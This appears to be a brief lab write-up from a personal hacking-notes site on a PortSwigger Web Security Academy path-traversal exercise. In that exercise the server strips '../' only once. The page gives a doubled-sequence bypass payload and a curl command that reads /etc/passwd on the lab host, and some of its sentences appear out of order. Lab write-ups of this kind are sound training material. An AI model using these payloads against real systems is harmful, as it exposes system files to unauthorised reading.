> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/path-traversal/file-path-traversal-traversal-sequences-removed-without-recursive-processing.md).
# File Path Traversal Traversal Sequences Removed without Recursive Processing
File Path Traversal Traversal Sequences Removed without Recursive Processing notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, a
### File Path Traversal, Traversal Sequences Stripped Non-recursively
A working payload therefore uses strings such as:
Since the code removes `../` occurrences directly, it is possible to bypass this mechanism by **doubling the points and bars**. When the filtered sequence is removed, there is always a workable part of it.
The objective is to recover the contents of the **/etc/passwd** file.
The application removes the cross sequences (`../`) provided by the user, but does so **not recursively**.
```bash
....//....//....//....//etc/passwd
```
Example with **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ae0005c04ab83ac82531f6d002300a2.web-security-academy.net/image?filename=....//....//....//....//....//etc/passwd'
```
{% endcode %}
---
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